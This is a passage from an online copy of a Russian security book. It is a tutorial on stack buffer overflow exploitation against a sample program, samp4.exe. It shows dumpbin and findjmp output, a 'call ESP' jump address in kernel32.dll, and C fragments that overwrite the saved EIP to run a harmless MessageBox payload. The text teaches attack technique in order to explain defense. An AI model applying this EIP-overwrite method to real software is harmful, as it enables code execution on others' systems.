Читаем Защита от хакеров корпоративных сетей полностью

dumpbin /imports samp4.exe

Microsoft (R) COFF Binary File Dumper Version 5.12.8078

Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

Dump of file samp4.exe

File Type: EXECUTABLE IMAGE

Section contains the following imports:

KERNEL32.dll

426148 Import Address Table

426028 Import Name Table

0 time date stamp

0 Index of first forwarder reference

26D SetHandleCount

174 GetVersion

7D ExitProcess

1B8 IsBadWritePtr

1B5 IsBadReadPtr

1A7 HeapValidate

11A GetLastError

1B CloseHandle

51 DebugBreak

152 GetStdHandle

2DF WriteFile

1AD InterlockedDecrement

1F5 OutputDebugStringA

13E GetProcAddress

1C2 LoadLibraryA

1B0 InterlockedIncrement

124 GetModuleFileNameA

218 ReadFile

29E TerminateProcess

F7 GetCurrentProcess

2AD UnhandledExceptionFilter

B2 FreeEnvironmentStringsA

B3 FreeEnvironmentStringsW

2D2 WideCharToMultiByte

106 GetEnvironmentStrings

108 GetEnvironmentStringsW

CA GetCommandLineA

115 GetFileType

150 GetStartupInfoA

19D HeapDestroy

19B HeapCreate

19F HeapFree

2BF VirtualFree

22F RtlUnwind

199 HeapAlloc

1A2 HeapReAlloc

2BB VirtualAlloc

27C SetStdHandle

AA FlushFileBuffers

241 SetConsoleCtrlHandler

26A SetFilePointer

34 CreateFileA

BF GetCPInfo

B9 GetACP

131 GetOEMCP

1E4 MultiByteToWideChar

153 GetStringTypeA

156 GetStringTypeW

261 SetEndOfFile

1BF LCMapStringA

1C0 LCMapStringW

Summary

3000 .data

1000 .idata

2000 .rdata

1000 .reloc

20000 .text

В результате просмотра отчета работы утилиты dumpbin.exe выясняется, что в уязвимую программу samp4.exe встроена единственная динамически подключаемая библиотека DLL – kernel32.dll. Несмотря на многочисленные ссылки в библиотеке kernel32.dll на другие библиотеки, пока для поиска подходящей точки перехода достаточно kernel32.dll.

Поиск выполним с помощью программы findjmp, которая найдет в двоичном коде динамически подключаемой библиотеки kernel32.dll потенциальные точки перехода с использованием регистра ESP. Для этого вызовем программу findjmp следующим образом:

findjmp kernel32.dll ESP

Программа выдаст такой отчет:

Scanning kernel32.dll for code useable with the ESP register

0x77E8250A call ESP

Finished Scanning kernel32.dll for code useable with the ESP

register

Found 1 usable addresses

Подменив перед командой ret сохраненное в стеке значение регистра EIP на значение 0x77E8250A, по команде ret это значение (адрес команды call ESP) будет загружено в указатель команд EIP. Процессор выполнит команду call ESP, которая передаст управление по содержимому регистра ESP, то есть в область стека c программным кодом полезной нагрузки. В программе переполнения буфера адрес точки перехода определяется следующим образом:

DWORD EIP=0x77E8250A; // a pointer to a

//call ESP in KERNEL32.dll

//found with findjmp.c

После этого адрес записывается в буфер writeme после 12 байт заполнителя: memcpy(writeme+12,&EIP,4); //overwrite EIP here Запись программного кода полезной нагрузки. Наконец пришло время написать программный код полезной нагрузки и средства его загрузки. Поскольку он демонстрирует основные положения переполнения буфера, то код очень прост: программа выводит окно сообщений с приветствием «HI». Обычно рекомендуется написать прототип программного кода полезной нагрузки на языке C, а затем преобразовывать его в ассемблерный код. Прототип программного кода полезной нагрузки на языке C выводит окно сообщений с помощью функции MessageBox:

MessageBox (NULL, “hi”, NULL, MB_OK);

Перейти на страницу:
Нет соединения с сервером, попробуйте зайти чуть позже